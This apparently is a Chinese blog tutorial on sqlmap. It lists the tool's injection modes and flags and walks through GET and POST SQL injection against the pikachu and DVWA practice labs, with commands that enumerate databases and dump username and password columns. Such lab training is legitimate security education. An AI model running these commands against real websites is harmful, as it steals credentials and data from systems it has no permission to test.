Sqlmap使用
sqlmap简介
sqlmap支持五种不同的注入模式:
- 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
- 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 4、联合查询注入,可以使用union的情况下的注入。
- 5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap详细命令:
- –is-dba 当前用户权限(是否为root权限)
- –dbs 所有数据库
- –current-db 网站当前数据库
- –users 所有数据库用户
- –current-user 当前数据库用户
- –random-agent 构造随机user-agent
- –passwords 数据库密码
- –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
- --level=LEVEL 执行的测试级别(1-5, 默认 1)
- --batch 永远不要要求用户输入,使用默认行为
- -u URL, --url=URL 目标为 URL (例如. "http://www.site.com/vuln.php?id=1")
- -g GOOGLEDORK 将谷歌dork的结果作为目标url
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。
- -b, –banner 检索数据库管理系统的标识
- –current-user 检索数据库管理系统当前用户
- –current-db 检索数据库管理系统当前数据库
- –is-dba 检测DBMS当前用户是否DBA
- –users 枚举数据库管理系统用户
- –passwords 枚举数据库管理系统用户密码哈希
- –privileges 枚举数据库管理系统用户的权限
- –roles 枚举数据库管理系统用户的角色
- –dbs 枚举数据库管理系统数据库
- -D DBname 要进行枚举的指定数据库名
- -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
- –tables 枚举的DBMS数据库中的表
- –columns 枚举DBMS数据库表列
- –dump 转储数据库管理系统的数据库中的表项
- –dump-all 转储所有的DBMS数据库表中的条目
- –search 搜索列(S),表(S)和/或数据库名称(S)
- -C COL 要进行枚举的数据库列
- -U USER 用来进行枚举的数据库用户
- –exclude-sysdbs 枚举表时排除系统数据库
- –start=LIMITSTART 第一个查询输出进入检索
- –stop=LIMITSTOP 最后查询的输出进入检索
- –first=FIRSTCHAR 第一个查询输出字的字符检索
- –last=LASTCHAR 最后查询的输出字字符检索
- –sql-query=QUERY 要执行的SQL语句
- –sql-shell 提示交互式SQL的shell
get型注入
0x00
对url检测看是否存在注入
sqlmap.py -u "url" --batch
--batch 永远不要要求用户输入,使用默认行为
0x01
确认存在注入,指定数据库类型暴库
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -dbs --batch
结果如下:
0x02
枚举指定数据库中的表
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -tables --batch
结果如下:
0x03
枚举指定表中字段
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -columns --batch
结果:
0x04
dump出password和username字段的数据
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -C "username,password" -dump --batch
结果如下:
到这就完了,更多参数自己尝试
post型注入
0x00
首先用burpsuite抓包工具抓取要测试的目标站点包,再把请求包复制到sqlmap目录下创建一个url.txt文件。
之后使用-r参数开始跑
sqlmap.py -r url.txt
0x01
获取到数据库类型和注入类型之后开始暴库
使用-dbs列出数据库名
sqlmap.py -r url.txt -dbms mysql -level 3 -dbs
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面),-dbs列出数据库名
得到结果如下:
0x02
枚举指定数据库中的表
这里演示枚举dvwa库中的表
sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -tables
结果如下:
0x03
接下来继续枚举表中的字段
这里演示users表
sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -columns
结果如下:
0x04
dump出password和user字段的数据
sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -C "password,user" -dump
选项全部默认,结果如下:
到此就结束了